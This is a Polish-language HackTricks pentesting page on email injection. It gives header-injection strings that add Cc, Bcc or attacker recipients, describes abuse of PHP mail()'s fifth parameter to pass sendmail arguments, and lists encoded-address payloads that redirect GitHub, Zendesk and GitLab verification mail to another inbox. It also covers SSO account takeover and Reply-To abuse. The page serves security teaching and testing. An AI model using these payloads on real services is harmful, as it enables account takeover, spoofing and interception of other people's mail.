hacktricks/pentesting-web/email-injections.md
2024-12-12 13:54:31 +01:00

237 lines
13 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Email Injections
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_content=email-injections), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
## Wstrzykiwanie w wysłanym e-mailu
### Wstrzykiwanie Cc i Bcc po argumencie nadawcy
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Wiadomość zostanie wysłana na konta odbiorcy i odbiorcy1.
### Wstrzyknij argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Wiadomość zostanie wysłana do oryginalnego odbiorcy oraz konta atakującego.
### Wstrzyknij argument Temat
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Fałszywy temat zostanie dodany do oryginalnego tematu, a w niektórych przypadkach go zastąpi. Zależy to od zachowania usługi pocztowej.
### Zmień treść wiadomości
Wstrzyknij dwa znaki nowej linii, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Wykorzystanie funkcji mail() w PHP
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### 5. parametr ($additional\_parameters)
Ta sekcja będzie oparta na **tym, jak nadużyć ten parametr, zakładając, że atakujący go kontroluje**.
Ten parametr zostanie dodany do linii poleceń, którą PHP użyje do wywołania binarnego sendmail. Zostanie jednak oczyszczony za pomocą funkcji `escapeshellcmd($additional_parameters)`.
Atakujący może **wstrzyknąć dodatkowe parametry dla sendmail** w tym przypadku.
#### Różnice w implementacji /usr/sbin/sendmail
Interfejs **sendmail** jest **dostarczany przez oprogramowanie MTA email** (Sendmail, Postfix, Exim itp.) zainstalowane w systemie. Chociaż **podstawowa funkcjonalność** (taka jak parametry -t -i -f) pozostaje **taka sama** z powodów zgodności, **inne funkcje i parametry** znacznie się różnią w zależności od zainstalowanego MTA.
Oto kilka przykładów różnych stron podręcznika poleceń dla interfejsu sendmail:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
W zależności od **pochodzenia binarnego sendmail** odkryto różne opcje, aby je nadużyć i **ujawniać pliki lub nawet wykonywać dowolne polecenia**. Sprawdź jak w [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Wstrzykiwanie w nazwie e-maila
{% hint style="danger" %}
Zauważ, że jeśli uda ci się założyć konto w usłudze z dowolną nazwą domeny (taką jak Github, Gitlab, CloudFlare Zero trust...) i zweryfikować je, otrzymując e-mail weryfikacyjny na swój adres e-mail, możesz uzyskać dostęp do wrażliwych lokalizacji firmy ofiary.
{% endhint %}
### Ignorowane części e-maila
Symbole: **+, -** i **{}** w rzadkich przypadkach mogą być używane do tagowania i są ignorowane przez większość serwerów e-mail.
* Np. john.doe+intigriti@example.com → john.doe@example.com
**Komentarze w nawiasach ()** na początku lub na końcu również będą ignorowane.
* Np. john.doe(intigriti)@example.com → john.doe@example.com
### Ominięcie białej listy
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### Cytaty
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### IP
Możesz również używać adresów IP jako nazw domenowych w nawiasach kwadratowych:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Kodowanie e-maili
Jak wyjaśniono w [**tych badaniach**](https://portswigger.net/research/splitting-the-email-atom), nazwy e-maili mogą również zawierać zakodowane znaki:
* **Przepełnienie PHP 256**: Funkcja PHP `chr` będzie nadal dodawać 256 do znaku, aż stanie się dodatnia, a następnie wykona operację `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Celem tego triku jest zakończenie wstrzyknięciem takim jak `RCPT TO:<"collab@psres.net>collab"@example.com>`\
co spowoduje wysłanie e-maila weryfikacyjnego na inny adres e-mail niż oczekiwany (w ten sposób wprowadza się inny adres e-mail wewnątrz nazwy e-maila i łamie składnię podczas wysyłania e-maila).
{% endhint %}
Różne kodowania:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
* Zauważ zakodowane `@` jako =40, zakodowane `>` jako `=3e` i null jako `=00`&#x20;
* Wyśle e-mail weryfikacyjny na `collab@psres.net`
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
* Ta sama sztuczka co wcześniej, ale dodając zwykły cudzysłów na początku i zakodowany cudzysłów `=22` przed zakodowanym `@`, a następnie otwierając i zamykając cudzysłowy przed następnym e-mailem, aby naprawić składnię używaną wewnętrznie przez Zendesk
* Wyśle e-mail weryfikacyjny na `collab@psres.net`
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
* Zauważ użycie podkreślenia jako spacji do oddzielenia adresu
* Wyśle e-mail weryfikacyjny na `collab@psres.net`
* Punycode: Używając Punycode, możliwe było wstrzyknięcie tagu `<style` w Joomla i wykorzystanie go do kradzieży tokenu CSRF za pomocą eksfiltracji CSS.
#### Tooling
* Istnieje **skrypt Burp Suite Turbo Intruder**, aby fuzzować tego rodzaju kombinacje, aby spróbować zaatakować formaty e-maili. Skrypt ma już potencjalnie działające kombinacje.
* Możliwe jest również użycie [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) do stworzenia ataku dzielącego e-maile
### Inne luki
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
## SSO zewnętrznych
### XSS
Niektóre usługi, takie jak **github** lub **salesforce**, pozwalają na stworzenie **adresu e-mail z ładunkami XSS**. Jeśli możesz **użyć tych dostawców do logowania się do innych usług** i te usługi **nie sanitizują** poprawnie e-maila, możesz spowodować **XSS**.
### Przejęcie konta
Jeśli **usługa SSO** pozwala na **utworzenie konta bez weryfikacji podanego adresu e-mail** (jak **salesforce**) i następnie możesz użyć tego konta do **logowania się do innej usługi**, która **ufa** salesforce, możesz uzyskać dostęp do dowolnego konta.\
&#xNAN;_&#x4E;ote, że salesforce wskazuje, czy podany e-mail był weryfikowany, ale aplikacja powinna wziąć pod uwagę te informacje._
## Odpowiedź-do
Możesz wysłać e-mail używając _**From: company.com**_ i _**Replay-To: attacker.com**_, a jeśli jakakolwiek **automatyczna odpowiedź** zostanie wysłana z powodu tego, że e-mail został wysłany **z** **wewnętrznego adresu**, **atakujący** może być w stanie **otrzymać****odpowiedź**.
## Wskaźnik twardych odbić
Niektóre usługi, takie jak AWS, implementują próg znany jako **Wskaźnik twardych odbić**, zazwyczaj ustawiony na 10%. To krytyczna metryka, szczególnie dla usług dostarczania e-maili. Gdy ten wskaźnik zostanie przekroczony, usługa, taka jak usługa e-mailowa AWS, może zostać zawieszona lub zablokowana.
**Twarde odbicie** odnosi się do **e-maila**, który został zwrócony do nadawcy, ponieważ adres odbiorcy jest nieprawidłowy lub nieistniejący. Może to wystąpić z różnych powodów, takich jak **e-mail** wysłany na nieistniejący adres, domenę, która nie jest rzeczywista, lub odmowa serwera odbiorcy przyjęcia **e-maili**.
W kontekście AWS, jeśli wyślesz 1000 e-maili, a 100 z nich skutkuje twardymi odbiciami (z powodu takich powodów jak nieprawidłowe adresy lub domeny), oznacza to wskaźnik twardych odbić na poziomie 10%. Osiągnięcie lub przekroczenie tego wskaźnika może spowodować zablokowanie lub zawieszenie możliwości wysyłania e-maili przez AWS SES (Simple Email Service).
Ważne jest, aby utrzymać niski wskaźnik twardych odbić, aby zapewnić nieprzerwaną usługę e-mailową i utrzymać reputację nadawcy. Monitorowanie i zarządzanie jakością adresów e-mail w twoich listach mailingowych może znacznie pomóc w osiągnięciu tego celu.
Aby uzyskać bardziej szczegółowe informacje, można odwołać się do oficjalnej dokumentacji AWS dotyczącej obsługi odbić i skarg [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## Odnośniki
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_content=email-injections), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}